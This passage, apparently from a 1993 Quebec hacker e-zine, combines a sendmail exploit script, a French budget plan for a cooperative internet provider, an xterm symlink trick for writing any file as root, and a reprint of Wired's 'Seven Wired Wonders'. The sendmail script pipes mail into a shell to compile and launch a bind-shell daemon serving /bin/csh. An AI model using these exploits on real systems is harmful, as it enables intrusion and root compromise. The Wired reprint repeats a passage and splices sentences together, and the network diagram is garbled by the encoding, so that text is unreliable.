This prevents deamon from executing _anything_ to the prog mailer. It also means that anything in /etc/aliases that references the prog mailer will fail; instead, you must forward the mail to an existing account in /etc/aliases, and then give that account a .forward file, which invokes the smrsh allowed program ---------------------------------cut here------------------------------------ You have to insert the patch after these two lines: openlog("smrsh", LOG_ODELAY|LOG_CONS, LOG_MAIL); #endif -------------------------------the patch itself------------------------------ #ifdef SITE_SEMISECURE #ifndef LAST_SECURE_UID #define LAST_SECURE_UID 20 #endif if (getuid() # default: smail <7001> port=$3 user=$2 cmd=$4 if [ -z "$2" ]; then user=daemon fi if [ -z "$3" ]; then port=7001 fi if [ -z "$4" ]; then cmd="/bin/csh -i" fi ( sleep 4 echo "helo" echo "mail from: |" echo "rcpt to: bounce" echo "data" echo "." sleep 3 echo "mail from: $user" echo "rcpt to: | sed '1,/^$/d' | sh" echo "data" echo "cat > /tmp/a.c < #include #include #include #include reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac; int **av;{struct sockaddr_in mya;struct servent *sp ;fd_set muf;int myfd,new,x,maxfd=getdtablesize(); signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM, 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr, sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp")) ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd, (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd, 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork() ==0){for(x=2;x de LLC, tel qu'il sera con‡u pour desservir 100 usagers. C'est bien important que vous vous souveniez de cela: CENT USAGERS! º º Ligne Fonorola de 56 kbps (maximum throughput: 2 gigs/mois) º º º  Modem V-35 º º ÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛ Router Cisco ÛÛÛÛÛÛÛÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ°°° ³ °°° 386-16 usag‚ ³ ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄIJ²²²²² Serveur de Terminal ÜÜÜÜÜÛÜÜÜÛ ²²²²²² ÝSun SparcÝ ÚÄÄÄÄÄÄÄÄÄÄÄIJ²²²²²ÄÄÄÄÄÄÄÄÄÄÄÄ¿ Ý10-clone?Ý ³ÚÄÄÄÄÄÄÄÄÄÄIJ²²²²²ÄÄÄÄÄÄÄÄÄÄÄ¿³ ÛÜÜÜÜÜÜÜÜÛÛ ³³ÚÄÄÄÄÄÄÄÄÄIJ²²²²²ÄÄÄÄÄÄÄÄÄÄ¿³³ ³ ³³³ ³³ ³³ ³³³ ³ ³³³ ³³ ³³ ³³³ ³ ³³³ ³³ ³³ ³³³ ³ ³³³ ³³ ³³ ³³³ ³ S‚rie de ³³ ³³ ³³ ³³ ³ 10 modems ³³ ³ ³ ³³ ³ ³³ ³ ³ ³³ ³ ³³³ ³³ ³³ ³³³ ³ ³³³ ³³ ³³ ³³³ ³ ³³³ ³³ ³³ ³³³ ³ ³³ ³ ³ ³³ 10 usagers ³ ³   ³ contents! ³   ³ ³ ³ ³ °°° 386-33 usag‚ Antenne satellite Pagesat °°°ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄððððððððððð °°° ððð û ððð Ben, c'est exactement de cela que LLC va avoir l'air! On va parler, dans l'ordre: 1) Utilit‚ de chaque piŠce du systŠme 2) Co–t du systŠme 3) Limitations du systŠme 1) Fonorola nous fournit une 56 kbps (medium), d'une capacit‚ de 2 gigs par mois. Ce sont les deux lignes parallŠles qui entrent … gauche en haut du dessin. Cette ligne, si toutes les conditions sont observ‚es, nous co–te 600$ par mois (plus 200$ de frais d'installation de base -one shot-). Cette ligne entre sur un modem sp‚cial, un V-35, qui co–te environ $500. Lui mˆme est ensuite connect‚ sur un router Cisco, fournit gratuitement par Fonorola. On garde en permanence en 386 (usag‚ si possible) branch‚ pour contr“ler le flot du trafic. On pourra un jour (dans le futur) installer un autre 386 l… pour servir de site FTP, et un autre (toujours dans le futur) pour ceux qui voudraient tester leurs capacit‚s de crackers (on installera Linux full-configur‚ et vous pourrez essayer d'entrer!). Le router Cisco est lui-mˆme reli‚ … l'ordinateur central de LLC, plus que probablement un clone SPARC 10 (6,500$ US), … moins que nous trouvions des commandites … Qu‚bec, ce qui est toujours possible. Nous n'avons cependant pas encore commenc‚ … les chercher (vous verrez tout … l'heure pourquoi). Il faudra probablement y rajouter un gig de disque dur (1000$), et un lecteur CD-Rom (Linux et les gros programmes Unix dont nous avons besoin sont plus maniables ainsi: 500$). En bas du Sparc, vous voyez une ligne qui va jusqu'… un 386-25 (usag‚), qui va lui-mˆme … un r‚cepteur satellite. Qu'est-ce que ‡a fout l…? Ben, vous avez d‚j… entendu parler de Usenet, les newsgroups d'Internet? Les sites dignes de ce nom les offre tous, et ‡a repr‚sente de 50 … 80 megs par jour de data. De fa‡on … ne pas empi‚ter sur notre bandwith (largeur de bande) et notre throughput (sortie maximale), nous allons utiliser le service Pagesat et recevoir TOUT Usenet par satellite. L'antenne et tout le bataclan nous reviennent … 2000$ US, et il n'y a pas de frais d'utilisation la premiŠre ann‚e. AprŠs deux ans, ‡a va commencer … nous co–ter environ 30$US par mois... A droite du SPARC 10, il y a un serveur de terminal ($3000US), branch‚ sur 10 modems (10 x 400$US), eux-mˆmes branch‚s sur dix lignes t‚l‚phoniques, une ligne par 10 usagers. C'est par ces lignes que vous allez entrer. En gros, c'est ‡a. Ce que vous ne voyez pas, dans le dessin, c'est une g‚n‚ratrice de secours (appel‚e couramment UPS) qui, en cas de panne (on est au Qu‚bec, n'est-ce pas!), va pr‚venir les usagers sur le systŠme et fermer le systŠme EN DOUCEUR, de fa‡on … ce qu'il ne plante pas. Pr‚voyons aussi un 1000$ de programmes, un tape backup (500$), et quelques gugusses. 2) Faisons un calcul rapide du co–t de l'‚quipement, payable une seule fois, pour un systŠme de dix lignes et cent usagers. QUIPEMENT """""""""" V-35 : 500$ SPARC 10 : 6500$US=7800$ 386-16 : 400$ (usag‚) 386-25 : 800$ (usag‚ avec un disque d'un gig) Pagesat : 2000$US=2400$ Serveur : 3000$US=3600$ CD-Rom : 500$ Disque 1G : 1000$ 10 modems : 4000$ UPS : 800$ Divers : 1000$ (cƒbles et programmes) ---------------------------------------------------- Total : 22,800$ Faisons maintenant un rapide calcul du co–t de fonctionnement du systŠme, toujours sur la base de 100 usagers. COUTS MENSUELS """""""""""""" 56 Kbps : 600$ Lignes de Bell (10) : 394$ (Centrex) Local : 150$ (‚lectricit‚ et chauffage compris) ----------------------------------------------------------------- Total : 1144$ Faisons maintenant un rapide calcul des co–ts d'installation du systŠme, toujours sur la base de 100 usagers. FRAIS D'INSTALLATION """""""""""""""""""" 56 kbps : 200$ T‚l‚phone : 1131$ -------------------------------------- Total : 1331$ Et nous, comment payons-nous tout cela? La part sociale, vous vous en souvenez, est de 8 x 10$, soit 80$. A cent usagers, ‡a fait 8000$. Que nous devons utiliser avec parcimonie, car nous devons ˆtre prˆts … rembourser les parts sociales n'importe quand, si quelqu'un quitte la coop‚rative. Et le tarif mensuel? Deux tarifs sont encore … l'‚tude: -25$ par mois: une heure d'accŠs dans la tranche de nuit deux heures dans la tranche de jour pour un total de 60 points -35$ par mois: DEUX heures d'accŠs dans la tranche de nuit Quatre heures dans la tranche de jour pour un total de 120 points OK, … ce point-ci, vous avez certainement deux questions: a) Comment ‡a se fait que, contrairement … ce que tu disais, on a pas un accŠs ILLIMIT? b) C'est quoi la tranche de jour et la tranche de nuit? On va r‚pondre tout de suite aux deux questions. Suivez-moi bien et vous allez tout comprendre. Nous avons fait un mini-sondage auprŠs de certains d'entre vous, et l'‚crasante majorit‚ pr‚voient d'utiliser le systŠme entre 17 heures et une heure du matin. Nous avons donc divis‚ la journ‚e en deux tranches: Tranche A: de 3 heures du matin … 17 heures (dur‚e: 14 heures) Tranche B: de 17 heures … 3 heures (dur‚e: 10 heures) A chaque fois que vous allez payer votre cotisation mensuelle, vous allez recevoir 60 ou 120 points, d‚pendant du tarif choisi. UN point correspond … une heure dans la tranche A, et … la moiti‚ dans la tranche B. Ce calcul pr‚vaut mˆme pour la fin de semaine. Maintenant, supposons que les 100 usagers prennent le tarif de 35$, qui repr‚sente 2 heures dans la tranche B. Nous parlons de la tranche de soir, parce que nous savons pertinemment que la majorit‚ d'entre vous allez effectuer vos appels … ce moment. Une ligne va donc permettre, dans cette tranche de 10 heures, de servir 5 personnes (5 personnes x 2 heures = 10 heures). Nous avons dix lignes, donc, ce qui fait qu'au plus 50 personnes vont pouvoir, en th‚orie, ˆtre desservis dans la tranche de nuit. 50% des gens vont pouvoir appeler dans la tranche B. Si maintenant on donnait 3 heures, 4 heures, ou un accŠs illimit‚, combien de personnes pourraient se pr‚valoir, dans la tranche de nuit, des services de LLC? Moins de 50%, that's for sure! Et mon bottom line, … moi, c'est de tenter de donner un bon service … au moins 50% du monde... En bas de d'‡a, le jeu n'en vaut plus la chandelle. Voil… pourquoi on ne peut pas d‚cemment permettre, du moins au d‚but, aux gens d'avoir plus de 2 heures d'accŠs dans la tranche B. Ceci dit, les gens qui appellent de jour vont pouvoir, … titre de r‚compense, utiliser deux fois plus de temps. Ce qui va nous permettre, probablement, de faire grimper le taux de satisfaction … 60 ou 70% (ou plus encore, qui sait). Mais, allez-vous me dire (si vous avez compris l'explication pr‚c‚dente), pourquoi ne pas mettre plus de dix lignes de t‚l‚phone? Pourquoi ce ratio de dix usagers par ligne? Simple, c'est une question de co–t: nous avons calcul‚, tout … l'heure, combien il en co–tait pour partir le systŠme, combien il en co–tait pour acheter l'‚quipement, et quels seraient les frais mensuels pour le faire fonctionner. car n'oublions pas que rajouter une ligne, c'est rajouter une carte Ethernet, rajouter un modem, rajouter... Mais combien va nous rapporter le systŠme? Toujours sur une base de 100 usagers, calculez qu'il y en aura 50% … 25$ et 50% … 35$. Ce qui fait: 100 usagers x 30$ = 3000$ moins frais mensuels = 1144$ ------------------------------------ reste = 1856$ 1856$ x 12 mois = 21,672$ 22,800$ d'‚quipement emprunt‚ … la banque … 8% = 1824$ d'int‚rˆt Ce qui veut dire qu'au bout d'un an, on est encore 2952$ dans le trou. En gros, si on est ben chanceux, on r‚ussit … peine … payer l'‚quipement en 1 an. En effet, on a nos parts sociales (8000$), qui servent … payer l'installation (1331$) et le d‚ficit de la premiŠre ann‚e (2952$), ce qui nous laisse "dans le noir" de 3717$. C'est pas les chars, mais c'est ‡a... Et cet argent sert … rembourser 46 parts sociales si 46 membres nous quittent dans la premiŠre ann‚e. Bien s–r. il y aura peut-ˆtre quelques usagers corporatifs, ‡a et l…, et on va peut-ˆtre se faire commanditer la machine, et on va aussi permettre aux gens de payer pour six mois ou douze mois (avec une r‚duction … la cl‚, parce que ‡a va nous permettre d'emprunter moins d'argent), mais le bottom line est ceci: si on ne charge pas plus que 25$ et 35$, on ne peut pas diminuer le ratio de une ligne de t‚l‚phone pour dix personnes, et on ne peut pas, par cons‚quent, permettre … quelqu'un d'ˆtre plus que deux heures en ligne dans la tranche de nuit. Jusqu'… ce que le systŠme soit pay‚... A partir de l…... 3) Limitations du systŠme: On en a d‚j… vu une, de limitation, et une embˆtante … part ‡… (pour les gens qui passent plus de deux heures par soir sur Internet, ce qui n'est tout de mˆme pas la majorit‚, heureusement). Mais on a un autre problŠme en vue: le throughput... Voyez-vous, la ligne que Fonorola nous fait … un prix d'ami (conditionnel aux deux autres 56 kbps, mais nous y reviendrons) est une 56 m‚dium, comme ils disent, avec une vitesse de 22 Kb\s, et un throughput (d‚bit) MAXIMUM de 2000 Megs par mois. 2 Gigs par mois, c'est pas beaucoup. Juste le service Usenet complet repr‚sente 50 megs PAR JOUR (minimum). Un mois (30 jours) de Usenet repr‚senteraient … eux seuls 1500 megs, et ne nous laisseraient que 500 megs dans le mois pour les autres usages. Inacceptable! C'est pourquoi nous avons pens‚ lib‚rer la bande de Usenet en le recevant par satellite, avec le service Pagesat. On a vraiment pas le choix. Et encore l…, faisons un calcul rapide: 2000 megs par mois, je soustrais 500 megs pour le e-mail, IRC, Telnet, enfin, tout ce qui n'implique pas de gros downloads, il nous reste 1500 megs de bande passante par mois. Divisez par cent usagers, ‡a veut donc dire que chaque usager aura droit, AU MAXIMUM, … 15 megs par mois de download SUR INTERNET. C'est comme pas beaucoup. Mˆme que, pour ˆtre safe, on devrait se garder une marge de s‚curit‚ et imposer une limite de 12 megs par usager. ATTENTION! Ces douze megs ne repr‚sentent pas votre limite personnelle de download du systŠme de LLC … chez vous! Uniquement ce qu'on peut aller chercher sur la ligne de Fonorola. Ce qui nous fait dire qu'il va imp‚rativement falloir mettre nos ressources en commun. Il va y avoir, donc, une section de files communes dans la machine, et il va falloir que vous alliez obligatoirement y jeter un coup d'oeil avant de downloader quelque chose … partir d'Internet, pour voir s'il n'y est pas. Exemple: Je veux aller sur un ordi de la NASA chercher la derniŠre batch de photos de Pluton prises par la NASA. Je fais FTP sur l'ordi de la Nasa, et je vois que le paquet s'appelle PLUTON.ZIP. Je reviens sur LLC (‡a prend deux secondes), ou je consulte la liste des fichiers de LLC que j'ai toujours sous la main, pour voir si PLUTON.ZIP y est. Si oui, je vais chercher autre chose, ou je reviens sur LLC et je le ramasse pour l'amener chez moi. Si le paquet n'est pas d‚j… sur LLC, je le ramasse, je l'amŠne chez LLC, j'en fait une copie dans la section publique, et le tour est jou‚. Ca s'appelle mettre nos ressources en commun, et c'est ce qu'on va ˆtre oblig‚s de faire, si on ne veut pas d‚foncer notre d‚bit maximum autoris‚. Exemple: au lieu que chaque usager downloade sa propre copie de Phrack 44 (600K x 100 usagers= 60 megs), un seul va le chercher et l'amener sur LLC, o— tous les autres peuvent aller le chercher gratuitement, sans empi‚ter sur leur 12 megs. Mais, me demanderez-vous, qu'arrive-t-il si on d‚fonce notre limite? Si on d‚fonce notre limite de 2 gigs par mois, Fonorola nous facture au prix d'une 56 high, ce qui repr‚sente, au mieux, une sur-facturation de 1200$. Mais ceci est encore en n‚gociation avec Fonorola. Encore l…, cette situation ne durera que le temps que notre mat‚riel soit pay‚ et qu'on puisse investir dans une ligne plus puissante. D'un autre c“t‚, ‡a nous garantit quasiment qu'on aura pas affaire … des warez puppies sur le systŠme, parce que 12 megs de jeux, c'est pas beaucoup. Et puis, cette situation n'affecte en rien ceux qui font du IRC, ou tout autre service, … l'exception du FTP. Des limitations de temps, des limitations de download, c'est plus Libert‚ Libert‚ Ch‚rie!, c'est Libert‚ Libert‚ Conditionnelle! Que voulez-vous, si on continue … pratiquer des tarifs populaires (et, personnellement, je ne reviendrai pas l…-dessus), on va s'offrir le systŠme qu'on est capable de se payer, et on l'am‚liorera … mesure que nos dettes disparaŒtront. -------------------- Je vous le jure, c'est tout un casse-tˆte que de tenter de partir ce machin-l…! Surtout que, souvenez-vous, pour b‚n‚ficier de la 56 commandit‚e par Fonorola, il faut refourguer deux autres 56 au prix r‚gulier! Je vous avais propos‚ de prendre … ma charge ces deux foutues 56 kbps, … condition que je me d‚niche une vingtaine de slips mais, au moment o— j'‚cris ces lignes, je n'en ai guŠre la moiti‚... et je ne suis pas trŠs optimiste de ce c“t‚-l…. Quel bordel! Mais, vous me connaissez, tˆtu que je suis, je vais trouver une autre solution... Il FAUT trouver une autre solution. Quelle qu'elle soit, la seule chose que je peux vous garantir, c'est une communaut‚ cybern‚tique o— vous aurez accŠs pour pas cher. Pour le reste, la coop‚rative, Fonorola, et tout le bataclan, pour moi tout est n‚gociable. Je vous en reparle (mieux! Je vous arrive avec des RSULTATS! Enfin... j'espŠre...) dans le prochain NPC. D'ici l…, on va s–rement se voir en assembl‚e ou se consulter by phone... Enfin, ma propre exp‚rience me dit que le systŠme devrait normalement ˆtre ouvert vers le 1er f‚vrier (avec un mois de retard sur mon pr‚c‚dent pronostic, mais vous comprendrez qu'il y a un paquet de travail encore … effectuer), si on est chanceux. Ecrivez-moi pour me dire ce que vous en pensez, si vous voyez des solutions, etc. ----------------------------------------------------------------- úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú ----------------------------------------------------------------- The state of Hacking in Quebec City by: Gurney Halleck The following is a message I posted on some boards in 4i8 (this one is from LORD (L0gRuS' board)). I though I would get some sort of answer. I wrong I was... I mention a very serious bug that could let you gain root very easely, and nobody replies. Nobody even asks HOW! The only thing hackers in 4i8 know how to do is how to run JACK on a password file! They all thing that JACK is the summum of hacking knowledge, how wrong they are! There is much more to hacking than that! ----------------------------Enclosed message--------------------------------- Msg #: [1/1] Base: hacking.unix.security Date : Fri 19 Nov 1993 6:00p Stat: Public From : Gurney Halleck #4 To : All Title: Xterm Hello, Anybody familiar with the Xterm program (used in Xwindow) (need to phisically access to the terminal too) ? Well it has a tendency to run SUID root on many systems (SUID root programs always look good ;-) Well this one has a little problem, you can make a log of what appears on your screen and it is logged as UID root in a file named Xtermlog.xxxxx I am offering my admiration to someone who can tell me who to exploit this hole (I know how, I'm making this a contest of hacking knowledge) So, please post your answers, I will declare a winner in 1 week... I want just a general description of how to exploit it, no specifics are needed (but in case of a tie, it might count!) Gurney Halleck [NPC] ----------------------------------------------------------------------------- First, there was no winner. But I will tell you anyway how it works hopping somebody out there will learn something. Now, the first thing you do is start the logging, by pressing CTRL and the left mouse button. Then open up another window and check the file name. Let's say it's XtermLog.a5321 , you would now need to link it to another file somewhere on the system. You do it like this: ln -s XtermLog.a5321 /dir/file Because Xterm is SUID root, you will be able to write to any file on the file system. Although Xterm usually runs SUID root, expect that fact to change in the near futur... So, as I said before, got to learn more than how to use JACK boys and girls... ----------------------------------------------------------------- úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú ----------------------------------------------------------------- Ce que WIRED n'a pas publi‚... Intro de Blitzkreig Le dernier num‚ro de Wired ((1.6) publiait un petit texte sur les 7 merveilles du monde techonolique. Pour la circonstance, ils avaient demand‚ … un paquet d'‚crivains, de chercheurs, de gurus de l'info de donner leur opinion. Ils n'en ont publi‚ que quelques- uns. Nous avons r‚ussi … mettre la main sur les autres... Les voici, en primeur, en exclusivit‚, en ce que vous voulez. Des textes de Nicolas Negroponte, de Arthur C. Clarke, et de plusieurs autres. Des textes in‚dits. Qui d'autre que NPC pour vous les offrir? Wired 1.6 Seven Wired Wonders ******************* Long before the birth of Christ, historians of the ancient world attempted to catalog humanity's most spectacular triumphs. The "Seven Wonders of the World" included such crowd pleasers as the Egyptian pyramids, the Hanging Gardens of Babylon, and the Colossus of Rhodes. Over the centuries the list was continually revised; until, by the late 1950s, we started hearing about the "Seven Wonders of the Modern World." The all-new lineup focused mainly on elegant engineering feats like the Empire State Building, Golden Gate Bridge, and Eiffel Tower: monuments which, despite their relative antiquity, are still pretty impressive today. These lists have one thing in common: They catalog beautiful and impressive things. But things as wonders are becoming obsolete. One of the most telling facts about our present age -- call it the Neosilicate -- is that many of our best and brightest achievements are conceptual. When future generations weigh our accomplishments, they're more likely to cite gene mapping and the Internet than the Sears Tower. The seminal achievement of the Neolithic, or "new stone," age (8,000-1,500 BC) was the development of permanent communities and agriculture. The overarching achievement of the Neosilicate (from 1971, when the first "microprocessor" was minted, to the present) is the Digital Revolution. The notion that all of our input about the physical universe -- from the X ray signature of a supernova to the visual textures of a Van Gogh -- can be broken down into binary code is one of the most useful, thrilling, and arrogant ideas our species has fashioned. Originating with the Taoists (whose yin/yang philosophy is over 50 centuries old), the binary model now informs every field of science and is redefining contemporary culture as well. Everything about the computer-driven 1990s -- the shape of our car seats, the way we record music, even what we call community -- owes a debt to the digital boom. In light of this fresh perspective, Wired thought it would be fun to revive an old tradition. Last June, we sent letters off to 100 individuals who have been, in our estimation, conspicuous beacons on the broad frontier of high technology. Each of these persons -- scientists, artists, theorists, and social gadflies -- was invited to send in nominations for a new list: The Seven Wired Wonders of the World. The results were dizzying. There was some overlap, of course (for example, the telecommunications net and various vestiges of our once-great space program) but not much. Some people named projects, some people named people. Some of the lists were corny and cerebral, while others sailed in from some ontological outfield. On the following pages, then, just in time for the fin de millennium, appear the Seven Techno-Wonders of the World. The final list was compiled by our editors, based (for the most part) on the nominations we received. As you read, it might be interesting to bear this in mind: of the original Seven Wonders, only one -- the Great Pyramid -- remains. We can only imagine the glorious Lighthouse at Alexandria, the Temple of Artemis at Ephesus, or the vast Mausoleum at Halicarnassus. One has to wonder what future Wired readers -- 3,000 years hence -- will recall of our own generation's noblest works. Only time (lots of it) will tell. In the meantime, have fun -- and let us know if we left anything out. -- Jeff Greenwald NET ^^^ After a century of fading into our bedside tables and kitchen walls, the telephone -- both the instrument and its network -- is on the march again. As a device shrinking to pocket size, the telephone is subsuming the rest of our technological baggage -- the fax machine, the pager, the clock, the compass, the stock ticker, and the television. A sign of the telephone's power: It is pressing the computer into service as its accessory, not the other way round. We know now that the telephone is not just a device. It is a network -- it is the network, copper or fiber or wireless -- sprouting terminals that may just as well be workstations as headsets or Princesses. As the network spreads, it is fostering both the universality and the individuality of human discourse. The Net itself, the world's fastest-spreading communications medium, is the telephone network in its most liberating, unruly, and fertile new agriculture. The overarching achievement of the Neosilicate (from 1971, when the first "microprocessor" was minted, to the present) is the Digital Revolution. The notion that all of our input about the physical universe -- from the X ray signature of a supernova to the visual textures of a Van Gogh -- can be broken down into binary code is one of the most useful, thrilling, and arrogant ideas our species has fashioned. Originating with the Taoists (whose yin/yang philosophy is over 50 centuries old), the binary model now informs every field of science and is redefining contemporary culture as well. Everything about the computer-driven 1990s -- the shape of our car seats, the way we record music, even what we call community -- owes a debt to the digital boom. In light of this fresh perspective, Wired thought it would be fun to revive an old tradition. Last June, we sent letters off to 100 individuals who have been, in our estimation, conspicuous beacons on the broad frontier of high technology. Each of these persons -- scientists, artists, theorists, and social gadflies -- was invited to send in nominations for a new list: The Seven Wired Wonders of the World. The results were dizzying. There was some overlap, of course (for example, the telecommunications net and various vestiges of our once-great space program) but not much. Some people named projects, some people named people. Some of the lists were corny and cerebral, while others sailed in from some ontological outfield. On the following pages, then, just in time for the fin de millennium, appear the Seven Techno-Wonders of the World. The final list was compiled by our editors, based (for the most part) on the nominations we received. As you read, it might be interesting to bear this in mind: of the original Seven Wonders, only one -- the Great Pyramid -- remains. We can only imagine the glorious Lighthouse at Alexandria, the Temple of Artemis at Ephesus, or the vast Mausoleum at Halicarnassus. One has to wonder what future Wired readers -- 3,000 years hence -- will recall of our own generation's noblest works. Only time (lots of it) will tell. In the meantime, have fun -- and let us know if we left anything out. -- Jeff Greenwald NET ^^^ After a century of fading into our bedside tables and kitchen walls, the telephone -- both the instrument and its network -- is on the march again. As a device shrinking to pocket size, the telephone is subsuming the rest of our technological baggage -- the fax machine, the pager, the clock, the compass, the stock ticker, and the television. A sign of the telephone's power: It is pressing the computer into service as its accessory, not the other way round. We know now that the telephone is not just a device. It is a network -- it is the network, copper or fiber or wireless -- sprouting terminals that may just as well be workstations as headsets or Princesses. As the network spreads, it is fostering both the universality and the individuality of human discourse. The Net itself, the world's fastest-spreading communications medium, is the telephone network in its most liberating, unruly, and fertile new guise. Thus Bell's child is freeing our understanding of the possibilities that lie in ancient words: neighborhood and meeting and information and news. It is global; it is democratic; it is the central agent of change in our sense of community. It is how, and why, we are wired. -- James Gleick James Gleick (gleick@pipeline.com), the author of Chaos: Making a New Science and Genius: The Life and Science of Richard Feynman, is working on a cultural history of the telephone. He is also the founder of New York's new Internet gateway, the Pipeline. Micromanufacturing ^^^^^^^^^^^^^^^^^^ The wonders of the ancient world were monumental, but the wonders of the modern world are increasingly microscopic. Modern technology rides an exponential explosion of computer capability driven by an exponential implosion in the size of computer devices. The computer revolution began in the 1940s with million-dollar machines processing hundreds of instructions per second. Since then, the cost of computing and the performance of the machines have improved by a factor of a thousand, dropping the cost of computing by a million-fold. We now have thousand-dollar machines that process millions of instructions per second. Computer cost and device size have fallen together on a steep exponential curve. The engine that powers this computer revolution is micromanufacturing. Micromanufacturing packs more and more devices into each chip - devices that switch faster and consume less energy. In 1945, computers used vacuum tubes the size of your thumb. Today they use transistors so small that a hundred could sit on the tiny round stump of a severed hair. Where is this leading? All signs point to a revolution that advances to the limits set by natural law and the molecular graininess of matter. Trends in miniaturization point to remarkable results around 2015: Device sizes will shrink to molecular dimensions; switching energies will diminish to the scale of molecular vibrations. With devices like these, a million modern supercomputers could fit in your pocket. Detailed studies already show how such devices can work and how they can be made, using molecules as building blocks. The necessary methods, though, are no longer those of traditional micromanufacturing. Molecular control will require the methods of molecular manufacturing: nanotechnology. A new approach and a vigorous effort might even jump the schedule: Japan launched a $200 million program last January. -- K. Eric Drexler Digital Astronomy ^^^^^^^^^^^^^^^^^ The newly inaugurated Keck Telescope, the world's largest gatherer of starlight from ancient galaxies, embodies the grand traditions of classical astronomy while vaulting into the next millennium. Housed in a gleaming white dome amid the lunar landscape of Hawaii's Mauna Kea at a dizzying 13,600-foot altitude, Keck is a ground-based optical telescope, built with private funds ($75 million worth) under the guidance of a single individual (the telescope's chief designer and scientific director, the University of California at Berkeley astronomer Jerry Nelson). That much it has in common with its legendary precursors at Palomar, Lick, and Mount Wilson. To focus in more closely, though, is to witness the technology of the future. Keck's light-gathering mirror, 10 meters across, is comprised of thirty-six hexagonal segments. Computer-controlled actuators tune the mirror segments twice per second, keeping each aligned to within one millionth of an inch. In 1996 a second identical telescope is to go into operation in a dome of its own, 85 meters away. Together they will comprise the largest pair of binoculars in the solar system, a tool capable of scrutinizing the depths of space and time with unprecedented clarity. Working in concert with a flotilla of scientific satellites like COBE (which mapped radiation emitted in the big bang when the universe was only one million years old), Einstein and ROSAT (which study the skies in the high-energy wavelengths of X rays and ultraviolet light, respectively), and, hopefully, an astronaut-repaired Hubble, Keck takes a prominent place in a new digital astronomy. Like most major telescopes today, Keck records images using CCD (charge-coupled device) chips that are forty to a hundred times more sensitive to light than photographic emulsions. (Similar technology, used in today's video cameras, makes it possible to shoot scenes lit only by candlelight.) Since the CCDs produce digital images that can be transmitted across the world in moments, Keck eventually may join a global network of remote-controlled telescopes that can be utilized by scientists -- or even amateur astronomers -- from their desktop workstations. Lost will be the romantic specter of solitary astronomers toiling nights on frigid mountain tops, but much will be gained as well. Innumerable treasures of the universe, from the starfields of nearby galaxies to extinct quasars patrolling the outer limits of space-time, will have been brought within the reach of more human eyes than was possible ever before. -- Timothy Ferris Timothy Ferris has written seven books, including The Mind's Sky and Coming of Age in the Milky Way. In addition to authoring more than 100 articles on science and astronomy, Ferris produced the Voyager phonograph record: a musical artifact of human civilization launched aboard the Voyager interstellar spacecraft. Senior Citizens ^^^^^^^^^^^^^^^ Among the greatest feats of biosocial engineering ever executed and yet one that remains strangely overlooked is our abundance of senior citizens. Prior to WWII, an old person was an oddity in Western culture, comprising only an insignificant proportion of the general populace. Now -- and particularly into the next century -- old people and their needs that will dominate political and social debate almost exclusively. There is no historical precedent for this, in any place or any time. Because of their relative scarcity until recently, our culture as a whole has tended to sentimentalize and over-revere old people. As events have played out, an abundance of "elders" has in no way shepherded in a golden age of wisdom and knowledge. Any notions of a wisdom-filled, Grandpa-Waltonian utopia were shelved years ago. Life extension has become a monolithic, unstoppable end in itself. Question: Has it been worth it? Where, exactly, is the "wisdom dividend"? The wisdom dividend has turned out to be neither spiritual, nor cosmic or slight, but (as with the benefits of space travel or war in this century) played out in a vast technological trickle-down. The dream of an immortal society is the dominant engine powering the bulk of most 20th-century research in countless areas including medicine, pharmaceuticals, surgery, and life extension techniques as well as developments in politics and finance -- entitlements, pension funds, mutual funds. The major question society must ask itself right now is, "When does the dream stop outweighing the benefits?" (And what's the deal with all these Bob Hope specials?) -- Douglas Coupland Douglas Coupland is the author of Generation X and Shampoo Planet. His next book, Life After God, will be published in February, 1994. He grew up, and still resides, in Vancouver, Canada. The Human Genome Project ^^^^^^^^^^^^^^^^^^^^^^^^ The comparison is too arresting to pass up. On the one hand, there's binary code: the orderly, controlled strand of ones and zeros that gives us our spreadsheets and our Vivaldi CDs and eventually our television. On the other hand, there's the genetic code: orderly but cryptic, double-helical strands runged with nucleotides that govern our fetal development, our eye color, and our likelihood of dying of Alzheimer's. The first is understood, the second is not. That's what the massive $1 billion Human Genome Project is all about: reading our own source code and making sense of the three billion base pairs along our 24 chromosomes by finding the location and function of each of our 100,000 genes. The project, overseen by the National Institutes of Health, is expected to take more than a decade -- Big Science, to be sure, but apparently pork-free. Employing hundreds of scientists, it's too big a project for any one lab. The 1992 announcement that scientists had achieved the intermediate step of creating a physical map (essentially, a rough sketch) of chromosome 21, believed to contain an Alzheimer's gene, was a global effort run mainly by researchers in France, with help from scientists in Spain, Japan, and the United States. There's plenty of risk ahead. In the wrong hands, a little chromosomal knowledge could lead to experiments that would make Dr. Frankenstein blush - or to disastrous invasions of privacy. (What happens to your life insurance rates if the company knows you're more likely to have a heart attack than your neighbor?) But there's promise, too. Doctors using genome data will be able to spot the roughly 3,000 genetic defects that lead to disease. Some will be correctable with new medical therapies being pioneered today, others will just be warning flags. Genetics is not always destiny. If your gene map shows that you have a predisposition toward high cholesterol, your doctor will be able to steer you away from enchiladas suisas. -- John Schwartz John Schwartz covers science for the Washington Post Neuromantic Drugs ^^^^^^^^^^^^^^^^^ "There's nothing wrong with you that a little Prozac and a polo mallet won't cure." -- Woody Allen, Manhattan Murder Mystery From the early 20th century (when marijuana was declared a narcotic and cocaine was jettisoned from Coca-Cola) until the mid- 1980s, the general (and official) reaction to 